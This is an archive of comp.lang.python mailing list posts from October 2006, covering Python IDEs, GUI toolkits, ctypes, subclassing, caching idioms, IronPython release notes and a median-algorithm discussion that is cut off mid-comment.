<2nRXg.108$1n3.2866@news.tufts.edu> References: <2nRXg.108$1n3.2866@news.tufts.edu> Message-ID: <1160784476.741444.215490@f16g2000cwb.googlegroups.com> John Salerno wrote: > Just curious what users of the two big commercial IDEs think of them > compared to one another (if you've used both). > > Wing IDE looks a lot nicer and fuller featured in the screenshots, but a > glance at the feature list shows that the "personal" version doesn't > even support code folding! That's a little ridiculous and makes me have > doubts about it. Well I don't know about the personal edition, but I've used Komodo and Wing, and I must say that I chose Wing in the end because it's debugger is so much more robust than komodo. I tried remote debugging mod_python using komodo, and it just choked. I spent a week trying to get it to work. Wing, on the other hand, just worked. I have only the highest praise for the Wing IDE Debugger, once you get to know it, it's so much more powerful than Komodo's. The time saved over Komodo was well worth the money for the professional edition. -Sandra From onurb at xiludom.gro Tue Oct 17 05:59:19 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Tue, 17 Oct 2006 11:59:19 +0200 Subject: Book about database application development? In-Reply-To: <0001HW.C159B10900A0DF8AF0407530@news.individual.de> References: <0001HW.C157FA8900644D9AF0407530@news.individual.de> <7xlknhg2rz.fsf@ruckus.brouhaha.com> <0001HW.C158378C00729A42F0407530@news.individual.de> <453352d4$0$12918$426a34cc@news.free.fr> <0001HW.C159B10900A0DF8AF0407530@news.individual.de> Message-ID: <4534a979$0$21891$426a34cc@news.free.fr> Wolfgang Keller wrote: >> Developping quality SQLDBMS-based applications requires more than "a >> bit" of SQL knowledge. > > No doubt. :-) But my "bit" is enough to get me going and to know where to > look for further information if I hit a wall. Especially the people on the > Postgres mailinglists (as well as the excellent documentation of Postgres) > tend to be very helpful here. :-) Well, this was intended as a general observation !-) >>> What I'm interested in is rather how to connect a GUI to a database, with >>> quite a bit of application logic in between. And how to do it well. >> This is more a general design question than a database-related (or even >> Python-related) one. > > The question is specific to database applications in so far as these are > typically client-server aplications (multiple users working with the same > data with all the resulting concurrency nightmares), and as the volumes and > the complexity of the data to be handled are non-trivial. This can be true for non "database-applications" (well... non "SQL DBMS based applications" would be better here I think) as well. >> The answer starts with forgetting about "connect(ing) a GUI to a database" >> IMHO > > Well, _somehow_ the GUI _has_ to be connected to the database. ;-) The GUI has to be connected to the application, which uses the database. There's no need for the GUI code itself to know anything about the SQL DBMS. > I didn't say that this would be through a spaghetti-heap of SQL queries > hard-coded into the GUI event handlers. Hopefully not !-) >> and experience. Might be time to google for MVC... > > I know about the existence of MVC. But what I'm actually missing is a nice > textbook that teaches how to actually implement it Yes, this can be another problem. But FWIW, most modern GUI toolkits already do a big part of the job. > (and other design patterns > which are useful for database applications) in a real-world application in a > way that leads to non-ridiculous behaviour of the resulting application when > it gets actually used. There are some known anti-patterns at least. Like selecting a whole table (preferably with all attributes) then looping thru the result set just to count the number of records in the table (don't laugh, I've actually seens this (and even worse) in production code). But given your concerns, I don't think you'd do such a thing anyway !-) -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From gagsl-py at yahoo.com.ar Wed Oct 11 16:47:12 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Wed, 11 Oct 2006 17:47:12 -0300 Subject: error handling In-Reply-To: <1160594180.913653.268200@m7g2000cwm.googlegroups.com> References: <1160594180.913653.268200@m7g2000cwm.googlegroups.com> Message-ID: <7.0.1.0.0.20061011174528.04116678@yahoo.com.ar> At Wednesday 11/10/2006 16:16, Bernard wrote: >I just found this webpage showing the most common exceptions: >http://pydoc.org/1.5.2/exceptions.html Why not refer to the *current* documentation? http://docs.python.org/lib/module-exceptions.html (You already have it installed with Python) 1.5.2 is way too old! -- Gabriel Genellina Softlab SRL __________________________________________________ Pregunt?. Respond?. Descubr?. Todo lo que quer?as saber, y lo que ni imaginabas, est? en Yahoo! Respuestas (Beta). ?Probalo ya! http://www.yahoo.com.ar/respuestas From rdsteph at mac.com Wed Oct 25 09:33:24 2006 From: rdsteph at mac.com (rdsteph at mac.com) Date: 25 Oct 2006 06:33:24 -0700 Subject: python GUIs comparison (want) References: <1161666459.401958.267280@i42g2000cwa.googlegroups.com> Message-ID: <1161783204.875966.164720@b28g2000cwb.googlegroups.com> Paul Boddie wrote: """The figures behind the scenes are quite enlightening for that particular page. If you (or community experiences) don't agree with the rankings (wxPython apparently even easier to learn than PythonCard and Tinder, a bunch of Gtk-based toolkits having more or less "full" Linux scores) then you'll have some surprises, I'm sure. Nevertheless, it's an interesting concept. """ Well, I don't know what I was thinking, exactly, when I rated PythonCard's ease of use...so I went back and changed it to rate it a lot higher. The ratings in this script were done a long time ago now and I need to re-do them, and add some new categories to rate also. Maybe this weekend... I have been thinking about doing a new version of this script that allows visitors to the web site to enter their own ratings for each GUI toolkit, for each criterion, store them by CGI and calculate a running average of the ratings, maybe eliminating the very extreme high and low scores to weed out spam, etc. Then, a visitor could use an online script with each GUI toolkit rated by the "community" for each criterion. I could do the same for Python IDE's, web frameworks, etc. Still, these would still be toys and not to be taken too seriously, but I might do it as a little project nonetheless. Concerning GUI toolkits, I find myself coming back to Tkinter these days. A lot of Python programs are written using Tkinter. I like to fool around with a lot of the old stuff on the web for free, miscellaneous apps and such, and there are still more Tkinter GUI's out there than anything else. Recently I have been having fun figuring out which new phone to buy. I decided to get a smart phone that could run Python. If I lived in Europe, or anywhere GSM rules, one of the Nokia series 60 would be a no -brainer. But here in the USA, I will probably will wind up getting a Windows based model. Guess what: Folks have Tkinter up and running on Pocket PC's and smartphones. I like that. Tkinter is everywhere. Don't forget, the Komodo IDE has a Tk based GUI builder. Just my 2 cents worth... Ron Stephens P.S. There is a 3 hour lecture by Dr. Sergio Rey of San Diego St. U. I am putting up as a podcast. He teaches a course in Python in the graduate department of Geographical Sciences. Python is heavily used in that field of study (as is Tkinter). The lecture is in 2 parts. Sound quality is excellent. Tkinter podcasts From steve at holdenweb.com Tue Oct 10 06:13:34 2006 From: steve at holdenweb.com (Steve Holden) Date: Tue, 10 Oct 2006 11:13:34 +0100 Subject: People's names (was Re: sqlite3 error) In-Reply-To: <463ff4860610100246q7601bc35y278706c73f7c2e0c@mail.gmail.com> References: <1159394058.945948.119410@h48g2000cwc.googlegroups.com> <1159493520.289291.276850@b28g2000cwb.googlegroups.com> <463ff4860610100246q7601bc35y278706c73f7c2e0c@mail.gmail.com> Message-ID: Theerasak Photha wrote: > On 10/7/06, Lawrence D'Oliveiro wrote: > > >>Just because most Western designers of databases do it wrong doesn't mean >>that a) you should do it wrong, or b) they will continue to do it wrong >>into the future, as increasing numbers of those designers come from Asian >>and other non-Western backgrounds. > > > Family name comes last in some Asian countries as well. :) > > It might also be prudent to consider that, e.g,, some Tamils only have > a last name for legal purposes and traditionally go by a single name. > Lots of possibilities to consider. > > >>I wonder if we need another "middle" field for holding the "bin/binte" part >>(could also hold, e.g. "Van" for those names that use this). > > > Also 'da' for Portuguese, which means roughly same as > Nederlands/Vlaams. Maybe. As usual: IANAE. > > >>There would also need to be a flag field to indicate the canonical ordering >>for writing out the full name: e.g. family-name-first, given-names-first. >>Do we need something else for the Vietnamese case? > > > Good question, but IIRC, family name comes first followed by any other > given names, just as in a literary index written in English: e.g., > Truman, Harry S > > What if you're Ho Chi Minh? Do you get to list aliases indefinitely? LOL > It seems like some sort of free text search on a "full name" field looks like the only realistic globally-acceptable (?) option. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From kw at kevin-walzer.com Fri Oct 20 09:47:21 2006 From: kw at kevin-walzer.com (Kevin Walzer) Date: Fri, 20 Oct 2006 09:47:21 -0400 Subject: Tkinter--does anyone use it for sophisticated GUI development? In-Reply-To: References: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET> Message-ID: <4538D369.60605@kevin-walzer.com> Fredrik Lundh wrote: > > on the other hand, such wrappers are usually extremely simple, and the > mapping between Python and Tk is trivial. there's simply not much to > add to the existing Tk module docs. I think I might simply have to bite the bullet, actually use some of these documented wrappers, perhaps even tweak/improve them, and then release something that shows what's possible with them. And perhaps even write up some "user-friendly" docs. :-) > >> Am I better off biting the bullet and learning wxPython--a different GUI >> paradigm to go with the new language I'm trying to learn? > > that's almost designed to get "wx rul3z d00d" replies from the wx crowd. > let's see if they bite. That certainly wasn't my intention. > >> What do other Tkinter developers think? > > "Those people who have nothing better to do than post on the Internet > all day long are rarely the ones who have the most insights" > > if you want to reach Tkinter developers, the following forum might be > more appropriate: > > http://mail.python.org/mailman/listinfo/tkinter-discuss > > that list is more focussed on solving specific problems, though; Tkinter > developers just don't seem very interested in arguments about world > domination. guess we've inherited that from the Tcl world, or maybe > we're just too busy doing stuff ;-) > I subscribe to that list. I agree that this particular question is off-topic for that list. By way of clarification, one of the things I have in mind in terms of "sophisticated GUI's" can be found on these pages at the Tcl'ers wiki: http://wiki.tcl.tk/13636 This page is focused on Tcl/Tk apps using the Tile extension, but many of these apps also use extensions like Tablelist and Tktreectrl. I haven't seen any shiny screenshots of Python apps using these extensions yet. Another example, that doesn't use Tile, is PgAccess: http://www.pgaccess.org/index.php?page=NewPgAccessEnglish This app makes use of BWidgets and Tablelist, in particular, to good effect. This gives you some idea of the target I'm aiming at, anyway. -- Kevin Walzer Poetic Code http://www.kevin-walzer.com/software/ From jstroud at mbi.ucla.edu Tue Oct 3 08:04:53 2006 From: jstroud at mbi.ucla.edu (James Stroud) Date: Tue, 03 Oct 2006 12:04:53 GMT Subject: py2app console In-Reply-To: References: Message-ID: James Stroud wrote: > Hello, > > Does anyone know of the most straightforward way to get rid of the > intensely annoying "console" window that py2app feels so compelled to > create? > > On a related but less important note, why would anyone want that stupid > window in the first place? > > James I should mention that this is the ridiculously pointless Tcl shell created when deploying a TkAqua application with py2app. Surely there has to be a better place to practice one's Tcl programming than from the console window of a bundled application that would otherwise be fit for end-users--except for the stupid Tcl console that no one will bother to use but is just frickin' desktop clutter. ## This is not the stdout console of the shell terminal, etc. ## James From hanumizzle at gmail.com Tue Oct 10 04:32:25 2006 From: hanumizzle at gmail.com (Theerasak Photha) Date: Tue, 10 Oct 2006 04:32:25 -0400 Subject: does raw_input() return unicode? In-Reply-To: References: <12iln7en9ipit77@corp.supernews.com> <452b5190$0$29833$9b622d9e@news.freenet.de> <463ff4860610100109n20a174b8lc546be2c46d25363@mail.gmail.com> Message-ID: <463ff4860610100132p69059b46s4f6d8297ba382a7c@mail.gmail.com> On 10/10/06, Fredrik Lundh wrote: > Martin was probably thinking of the standard distribution. > > The 2.3 note says that "raw_input() *can* return Unicode", not that it > "should" or "must" do it. Practically speaking, at the heart of the matter: as of Python 2.5 final, does or can raw_input() return Unicode under the appropriate circumstances, according to user wishes? (Yes, I would test, but I am presently away from my Linux box with Python, and can't install it here.) -- Theerasak From nogradi at gmail.com Sun Oct 29 15:41:15 2006 From: nogradi at gmail.com (Daniel Nogradi) Date: Sun, 29 Oct 2006 21:41:15 +0100 Subject: looping through two list simultenously In-Reply-To: <1162153701.052043.160030@h48g2000cwc.googlegroups.com> References: <1162153701.052043.160030@h48g2000cwc.googlegroups.com> Message-ID: <5f56302b0610291241o701adb09udc5f851515597ab0@mail.gmail.com> > folks > I have two lists > > i am trying to loop thorough them simultenously. > > Here is the code i am using [...] > Is there any efficient doing this > Try the zip function: >>> list1 = [ 'a', 'b', 'c' ] >>> list2 = [ 'A', 'B', 'C' ] >>> for i, j in zip( list1, list2 ): ... print i, j ... a A b B c C From __peter__ at web.de Wed Oct 4 04:20:37 2006 From: __peter__ at web.de (Peter Otten) Date: Wed, 04 Oct 2006 10:20:37 +0200 Subject: Need help with syntax on inheritance. References: <1159927793.600354.150330@b28g2000cwb.googlegroups.com> Message-ID: SpreadTooThin wrote: > If you are deriving a new class from another class, > that you must (I assume) know the initializer of the other class. > > So in myClass > > import array > class myClass(arrary.array): > def __init__(self, now here I need to put array's constructor > parameters..., then mine): > array.array.__init__(self, typecode[, initializer]) > self.mine = mine > > So I'm confused... > array has a typecode parameter and an optional initiializer... > So could you help me with the class construction here please? Normally you would do # won't work class Array(array.array): def __init__(self, typecode, initalizer=(), mine=None): array.array.__init__(self, typecode, initializer) self.mine = mine However, array.array is a bit harder to subclass: # should work class Array(array.array): def __new__(cls, typecode, initializer=(), mine=None): return array.array.__new__(cls, typecode, initializer) def __init__(self, typecode, initializer=(), mine=None): array.array.__init__(self, typecode, initializer) self.mine = mine See if you can get away by making the array an attribute of your class instead. Peter From steve at holdenweb.com Fri Oct 6 06:03:15 2006 From: steve at holdenweb.com (Steve Holden) Date: Fri, 06 Oct 2006 11:03:15 +0100 Subject: HOST - Assembla Inc. Breakout - Copyright Violation by Mr. Andy Singleton In-Reply-To: <4omn7jFfe26cU1@uni-berlin.de> References: <1160082179.215729.164060@c28g2000cwb.googlegroups.com> <1160088907.689743.252500@m7g2000cwm.googlegroups.com> <1160100015.211649.310540@m73g2000cwd.googlegroups.com> <4omn7jFfe26cU1@uni-berlin.de> Message-ID: Diez B. Roggisch wrote: [...] > >>really very important (if you don't look to much at the subject but the >>message contents). > > > All that I have seen were some accusations + a few ridiculously small > subversion entries that showed default parameters changed and the like. > > This is on the same level of interest to the communities of python, ruby > & java as the color of my socks this morning - a deep black with cute > little skulls imprinted. > I have to say I find the colour of your socks *much* more interesting. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From outstretchedarm at hotmail.com Fri Oct 27 23:02:48 2006 From: outstretchedarm at hotmail.com (Omar) Date: 27 Oct 2006 20:02:48 -0700 Subject: "Music Theory Programming" Google Group In-Reply-To: <1161987363.432687.40240@e3g2000cwe.googlegroups.com> References: <1161976872.726877.200380@i3g2000cwc.googlegroups.com> <1161987363.432687.40240@e3g2000cwe.googlegroups.com> Message-ID: <1162004568.395750.159330@e3g2000cwe.googlegroups.com> see you over there! From xmlhacker at gmail.com Thu Oct 26 12:57:02 2006 From: xmlhacker at gmail.com (M. David Peterson) Date: Thu, 26 Oct 2006 10:57:02 -0600 Subject: [IronPython] [ANN] IronPython Community Edition r3 In-Reply-To: <5b0248170610260859w6a46ca98rb48847be6de08ded@mail.gmail.com> References: <5b0248170610260859w6a46ca98rb48847be6de08ded@mail.gmail.com> Message-ID: Yee Hah! :D Thanks Seo! :D > http://www.oreillynet.com/xml/blog/2006/10/seo_sanghyeonipce_ironpython_c.html On 10/26/06, Sanghyeon Seo wrote: > > This is the third release of IronPython Community Edition (IPCE). > > Get it here. > http://sparcs.kaist.ac.kr/~tinuviel/download/IPCE-r3.zip > > This release is also available on SourceForge mirrors near you. > http://sourceforge.net/projects/fepy > > IPCE has a homepage. You can read about licenses and patches there. > There's also some new documentations like FePy Library Reference. > http://fepy.sourceforge.net/ > > Changes in this release: > > * Latest and greatest! > > Updated to IronPython 1.0.1. > Updated to CPython 2.4.4. > Compiled with Mono 1.1.18. > > * Relicensed under the MIT license, for those who found previous > license terms (Do What The Fuck You Want To Public License) offensive, > or humor-impaired. > > * New CPython-compatible wrappers. > > zlib, using System.IO.Compression. > hashlib, using System.Security.Cryptography. > sqlite3, using generic DB-API module already developed. > > hashlib and sqlite3 are modules new in CPython 2.5. > > * Updated CPython-compatible wrappers. > > Numerous updates to pyexpat. Previously, pyexpat.py was only intended > to run ElementTree. It is now compatible enough to run xml.dom and > xml.sax codes. > > * Patches to Python standard library. > > patch-stdlib-tarfile-null-terminated fixes (arguably) a bug. > > patch-stdlib-httplib-disable-idna and patch-stdlib-xml-sax-import are > workarounds, but changes are minimal and make using httplib and > xml.sax much better on IronPython. > > -- > Seo Sanghyeon > _______________________________________________ > users mailing list > users at lists.ironpython.com > http://lists.ironpython.com/listinfo.cgi/users-ironpython.com > -- /M:D M. David Peterson http://mdavid.name | http://www.oreillynet.com/pub/au/2354 -------------- next part -------------- An HTML attachment was scrubbed... URL: From bjobrien62 at gmail.com Mon Oct 23 17:49:15 2006 From: bjobrien62 at gmail.com (SpreadTooThin) Date: 23 Oct 2006 14:49:15 -0700 Subject: mean ans std dev of an array? Message-ID: <1161640155.326890.288440@i42g2000cwa.googlegroups.com> import array a = array.array('f', [1,2,3]) print a.mean() print a.std_dev() Is there a way to calculate the mean and standard deviation on array data? Do I need to import it into a Numeric Array to do this? From tkondal at gmail.com Wed Oct 4 14:18:16 2006 From: tkondal at gmail.com (tkondal at gmail.com) Date: 4 Oct 2006 11:18:16 -0700 Subject: Having trouble using CTypes with a custom function Message-ID: <1159985896.742017.313430@e3g2000cwe.googlegroups.com> Hi all. I just started looking at Python's ctypes lib and I am having trouble using it for a function. For starters, here's my Python code: from ctypes import*; myStringDLL= cdll.LoadLibrary("myStringDLL.dll"); GetMyString = getattr(myStringDLL, "?GetMyString@@YA_NAAV?$basic_string at DU?$char_traits at D@std@@V?$allocator at D@2@@std@@@Z") strString = create_string_buffer('\000' * 256); GetMyString.restype = c_int; GetMyString.argtypes = [c_char_p]; bResult = GetMyString (strSerialNumber); print (bResult); print (strSerialNumber); #C++ Prototype of the function I want to call: #bool GetMyString (string& stringParam) ; I do not have access to the source code of this function so don't ask me to try different things in C++. This DLL is working fine. The problem that I have is that print (strSerialNumber) does not seem to print the correct string. What I get is some garbage value of unprintable characters. Am I using this the correct way? Thanks. From kay.schluehr at gmx.net Tue Oct 10 14:40:28 2006 From: kay.schluehr at gmx.net (Kay Schluehr) Date: 10 Oct 2006 11:40:28 -0700 Subject: Python component model References: <452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net> <1160467516.602655.169920@c28g2000cwb.googlegroups.com> <1160502439.729432.13480@h48g2000cwc.googlegroups.com> Message-ID: <1160505628.841415.71210@i42g2000cwa.googlegroups.com> fumanchu wrote: > > 4) Custom property and component editors: A component editor can present > > a property editor or an editor for an entire component which the visual > > design-time RAD environment can use to allow the programmer end-user of > > the component to set or get component property values. Normally a design > > time environment will present default property editors for each > > component property type, but a component can override this. > > This is the hard part. I believe Dabo has done some work in this space, > but this is where the tight coupling comes in between code and tool, a > coupling which Python has traditionally resisted. I do think it's just about presenting component properties and their types / value ranges. I do think this can be easily achieved using decorators that might also add the right kind of token for introspection purposes to the function/method attributes. Descriptors i.e. customized binding semantics might cover one aspect of componentization but as I understood Edward he asked for uniform declarative semantics. Components in this sense are just specialized objects such as TestCase classes in the PyUnit framework. What I still do not understand is the reference to "many RAD" tools which is completely hypothetical to me. The portability of components across different GUI designers for the same underlying toolkit is a quite speculative future requirement to say the least. From deets at nospam.web.de Sun Oct 8 08:27:27 2006 From: deets at nospam.web.de (Diez B. Roggisch) Date: Sun, 08 Oct 2006 14:27:27 +0200 Subject: Newbie - Stuck In-Reply-To: <1160309372.750331.8140@m7g2000cwm.googlegroups.com> References: <1160309372.750331.8140@m7g2000cwm.googlegroups.com> Message-ID: <4os95fFg13j8U2@uni-berlin.de> r3bol at yahoo.com schrieb: > The perl version of this code works but not the python version. What am > I doing wrong? > > message = "abc" > password = "z12" > > scrambled = message ^ password > > I also wondered why this errored as well... > > int(messege) > > Is it not meant to convert a string to a number? Including error messages & stacktraces helps tremendously when asking such questions - especially on a weekend, when our crystall balls are in maintenance in the elves headquarters at the north pole. Diez From fredrik at pythonware.com Mon Oct 23 11:56:46 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Mon, 23 Oct 2006 17:56:46 +0200 Subject: Python 2.5 ; Effbot console ; thank ; pb release. In-Reply-To: <453ce1a9$0$25910$ba4acef3@news.orange.fr> References: <453ce1a9$0$25910$ba4acef3@news.orange.fr> Message-ID: M?ta-MCI wrote: > For the professional developments, it is a major risk. some days, I ask myself why I shouldn't just use GPL for everything I do, and ship it as source code only. From istvan.albert at gmail.com Mon Oct 9 09:04:49 2006 From: istvan.albert at gmail.com (Istvan Albert) Date: 9 Oct 2006 06:04:49 -0700 Subject: switching to numpy and failing, a user story References: <1159940670.808128.312270@i3g2000cwc.googlegroups.com> Message-ID: <1160399089.004617.120480@h48g2000cwc.googlegroups.com> Fernando Perez wrote: > It's funny how I don't see anyone complaining about any of the Python books > sold here (or at any other publishing house): That is maybe because the language is fairly well documented to begin with. Try to imagine for a moment how many people would use Python if on the first page of documentation you'd see a link sending you to buy the book... No one is questioning one's right to try to sell a product/book etc. But I happen to believe that trying to make money by selling the docs is stupid, you'll scare away potential users, hinder the acceptance of the product, further fragment the community of users needing such functionality. Once I hit the page asking me to pay even before telling me what NumPy does, I went back to Numeric. Even now I can't tell in what way is NumPy different from Numeric or Numarray (I understand that implementation wise it is different). In the past I have donated to several open source projects (and individual developers) whose work saved me a lot of time, I don't mind the cost of it. But I just can't see doing the same in a "pay it forward" fashion. I wish the author all the best, with the remark that in this day and age with the pervasive need for large scale management/analysis he would/could make a lot more money by fostering relationships with research groups (private/university) and selling his scientific computing (support) expertise rather then a pdf file. That's all. From jmpurser at gmail.com Fri Oct 13 12:31:13 2006 From: jmpurser at gmail.com (John Purser) Date: Fri, 13 Oct 2006 09:31:13 -0700 Subject: IDE In-Reply-To: <4zOXg.1918$uv5.11354@twister1.libero.it> References: <4zOXg.1918$uv5.11354@twister1.libero.it> Message-ID: <1160757073.5317.0.camel@localhost.localdomain> On Fri, 2006-10-13 at 15:48 +0000, giuseppe wrote: > What is the better IDE software for python programming? > > many thanks > > joe > > Joe, Find the best Python programmer and ask him/her. John Purser From anthra.norell at vtxmail.ch Tue Oct 31 06:06:10 2006 From: anthra.norell at vtxmail.ch (Frederic Rentsch) Date: Tue, 31 Oct 2006 12:06:10 +0100 Subject: Where do nested functions live? In-Reply-To: References: <4qhf11Fn4g9fU1@uni-berlin.de> Message-ID: <45472E22.2050009@vtxmail.ch> Rob Williscroft wrote: > Frederic Rentsch wrote in news:mailman.1428.1162113628.11739.python- > list at python.org in comp.lang.python: > > >> def increment_time (interval_ms): >> outer weeks, days, hours, minutes, seconds, mseconds # 'outer' >> akin to 'global' >> (...) >> mseconds = new_ms - s * 1000 # Assignee remains outer >> m, seconds = divmod (s, 60) >> h, minutes = divmod (m, 60) >> d, hours = divmod (h, 24) >> weeks, days = divmod (d, 7) # No return necessary >> >> The call would now be: >> >> increment_time (msec) # No reassignment necessary >> >> >> Hope this makes sense >> > > Yes it does, but I prefer explicit in this case: > > def whatever( new_ms ): > class namespace( object ): > pass > scope = namespace() > > def inner(): > scope.mseconds = new_ms - s * 1000 > m, scope.seconds = divmod (s, 60) > h, scope.minutes = divmod (m, 60) > d, scope.hours = divmod (h, 24) > scope.weeks, scope.days = divmod (d, 7) > > This is interesting. I am not too familiar with this way of using objects. Actually it isn't all that different from a list, because a list is also an object. But this way it's attribute names instead of list indexes which is certainly easier to work with. Very good! > The only thing I find anoying is that I can't write: > > scope = object() > > Additionally if appropriate I can refactor further: > > def whatever( new_ms ): > class namespace( object ): > def inner( scope ): > scope.mseconds = new_ms - s * 1000 > m, scope.seconds = divmod (s, 60) > h, scope.minutes = divmod (m, 60) > d, scope.hours = divmod (h, 24) > scope.weeks, scope.days = divmod (d, 7) > > scope = namespace() > scope.inner() > > In short I think an "outer" keyword (or whatever it gets called) > will just add another way of doing something I can already do, > and potentially makes further refactoring harder. > > Here I'm lost. What's the advantage of this? It looks more convoluted. And speaking of convoluted, what about efficiency? There is much talk of efficiency on this forum. I (crudely) benchmark your previous example approximately three times slower than a simple inner function taking and returning three parameters. It was actually the aspect of increased efficiency that prompted me to play with the idea of allowing direct outer writes. > Thats -2 import-this points already. > > Which ones are the two? > Rob. > Frederic From johnjsal at NOSPAMgmail.com Wed Oct 25 16:01:01 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Wed, 25 Oct 2006 20:01:01 GMT Subject: cleaner way to write this? In-Reply-To: References: <7xwt6o44um.fsf@ruckus.brouhaha.com> <%dO%g.151$1n3.4135@news.tufts.edu> <7x8xj4i5gq.fsf@ruckus.brouhaha.com> <7xzmbkgq5h.fsf@ruckus.brouhaha.com> Message-ID: <1oP%g.160$1n3.4136@news.tufts.edu> Neil Cerutti wrote: > This completes our C version [of a csv reading library]. It > handles arbitrarily large inputs and does something sensible > even with perverse data. The price is that it is more than four > times as long as the first prototype and some of the code is > intricate. Such expansion of size and complexity is a typical > result of moving from prototype to production. LOL. Guess I'm doing things right, then? ;) From fredrik at pythonware.com Thu Oct 26 16:20:25 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Thu, 26 Oct 2006 22:20:25 +0200 Subject: conditional computation In-Reply-To: References: Message-ID: robert wrote: > I want to use a computation cache scheme like > > o = CACHECOMPUTE complex-key-expr expensive-calc-expr > > frequently and elegantly without writing complex-key-expr or expensive-calc-expr twice. > So its ugly: > > _=complex-key-expr; o=cache.get(_) or cache.setdefault(_,expensive-calc-expr) > > Any ideas? in Python 2.5: cache = collections.defaultdict(lambda: expensive-calc-expr) value = cache[complex-key-expr] or, if expensive-calc-expr needs access to the key: class mycache(dict): def __missing__(self, key): value = expensive-calc-expr(key) self[key] = value return value cache = mycache() value = cache[complex-key-expr] or, if expensive-calc-expr needs access to more than just the key, or you need to run this on more than just 2.5: cache = {} key = complex-key-expr try: value = cache[key] except KeyError: value = cache[key] = expensive-calc-expr From deets at nospam.web.de Sat Oct 28 20:55:14 2006 From: deets at nospam.web.de (Diez B. Roggisch) Date: Sun, 29 Oct 2006 02:55:14 +0200 Subject: Safely renaming a file without overwriting In-Reply-To: <318d14-t8e.ln1@darkstargames.dnsalias.net> References: <72sb14-08j.ln1@darkstargames.dnsalias.net> <318d14-t8e.ln1@darkstargames.dnsalias.net> Message-ID: <4qicffFna8baU1@uni-berlin.de> Wolfgang Draxinger schrieb: > Steven D'Aprano wrote: > >> But the source file always exists, otherwise there is nothing >> to rename! Do you mean, open the destination filename? > > Of course I meant the destination file. Someone please spill some > ice chilled water over me to get me awake again. Time to go to > bed :-P before I make more dumb mistakes/typos... But that doesn't help. Opening the destination file that way will only make a difference if _both_ processes that fight over that filename work that way. Which might be possible in the actual case, but not as a general recipe. The link/unlink trick of Chetan sounds reasonable, though. From gabor at nekomancer.net Wed Oct 25 15:03:47 2006 From: gabor at nekomancer.net (gabor) Date: Wed, 25 Oct 2006 21:03:47 +0200 Subject: new-style classes, __hash__. is the documentation wrong? Message-ID: hi, if you have a new-style class, it will have a __hash__ method, even if you don't define it, because it inherits from object(). and, if you implement __eq__, then that default-hash-value will be probably wrong. i understand that this is a bug, and described here: http://www.python.org/sf/660098 but please look at the documentation about __hash__ here: http://docs.python.org/ref/customization.html it says: ==== If a class defines mutable objects and implements a __cmp__() or __eq__() method, it should not implement __hash__(), since the dictionary implementation requires that a key's hash value is immutable (if the object's hash value changes, it will be in the wrong hash bucket). ==== now, with new style classes, the class will have __hash__, whatever i do. (well, i assume i could play with __getattribute__...). so is that part of the documentation currently wrong? because from what i see (the bug will not be fixed), it's still much safer to define a __hash__ even for mutable objects (when the object also defines __eq__). gabor From jpd at whispertel.LoseTheH.net Thu Oct 12 11:35:34 2006 From: jpd at whispertel.LoseTheH.net (John Doty) Date: Thu, 12 Oct 2006 09:35:34 -0600 Subject: Standard Forth versus Python: a case study In-Reply-To: References: <7x3b9u376m.fsf@ruckus.brouhaha.com> <1160603937.392188.253250@m7g2000cwm.googlegroups.com> <1160619958.438049.53390@h48g2000cwc.googlegroups.com> <1160652722.908731.213650@i42g2000cwa.googlegroups.com> Message-ID: Paul McGuire wrote: > wrote in message > news:1160652722.908731.213650 at i42g2000cwa.googlegroups.com... >> Paul McGuire wrote: >>> wrote in message >>> news:1160619958.438049.53390 at h48g2000cwc.googlegroups.com... >>>> [snip] >>>> >>>> no sort() is needed to calculate the median of a list. >>>> >>>> you just need one temp var. >>>> >>> Ok, I'll bite. How do you compute the median of a list using just a >>> single >>> temp var? >>> >>> -- Paul >> hi Paul; well when this was a stats-class assignment (back when pascal >> was popular :) i just stepped through the vector and compared it >> >> (pseudo-code) >> >> ptr p = [with values]. >> >> fun median { >> var x = 0. >> while( *p++) { >> if( (*p) > x) x = *p. >> } >> return x. >> } >> >> of course, pascal is more verbose but that's median() >> > > No, that's the maximum. The median value is the value that is in the middle > of the list when the list is sorted. Many analyses prefer median to mean > (also known as "average") because the median is less sensitive to wild > outlier points. > > My original question was in response to your post, that sort() wasn't > required but only a temp variable. I am very interested in seeing your > solution that does not require the data to be sorted. (This is not just an > academic exercise - given a large historical data set, sorting the data is > one of the costliest parts of computing the median, and I would greatly > appreciate seeing an alternative algorithm.) Here's a K&R C function I wrote almost 20 years ago. It's a general purpose quantile. The essential idea is to choose an element at random (thus mostly avoiding perverse behavior with already sorted data) and divide the set into two pieces around it. Then you figure out which piece contains the quantile you want, and what quantile it is within that piece, and recurse. When you see enough identical elements in the piece you're processing, it's done. In the extreme case you'll get down to one element. ixrand(n) generates a random integer in the range 0..n-1. I think that's the only nonstandard function used. The style is torqued by what Unisoft C could and couldn't optimize: I wouldn't write it quite like that today. One of my students pointed out that all of the recursion is tail recursion so it should be easy to flatten. Left as an exercise to the reader... Somewhere, in Knuth I think, I saw a somewhat similar algorithm that promised a little better performance by estimating the median from a sample of the data, breaking the data up there, and then looking for a quantile (statistically guaranteed to be) close to the min or max of one of the subsets. It shouldn't be hard to recode in Python, Forth, or whatever. That wasn't my purpose in the exercise that started the thread though: I wanted to see if I could import modules good enough to do the job from public sources. In Python I could, and the entire image processing program is 15 lines. In Forth I couldn't. Anyway, here it is: /* Find the nth from the minimum value in an array */ /* Monte Carlo method intended for finding medians */ /* 2/13/85 jpd */ /* For random data, this routine takes about */ /* 2.6*numdata + O( log( numdata )) comparisons */ /* If the data is tightly clustered about the mean, */ /* there is a speedup; it may take as few as /* 0.5*numdata comparisons. */ /* There is a slight penalty if the 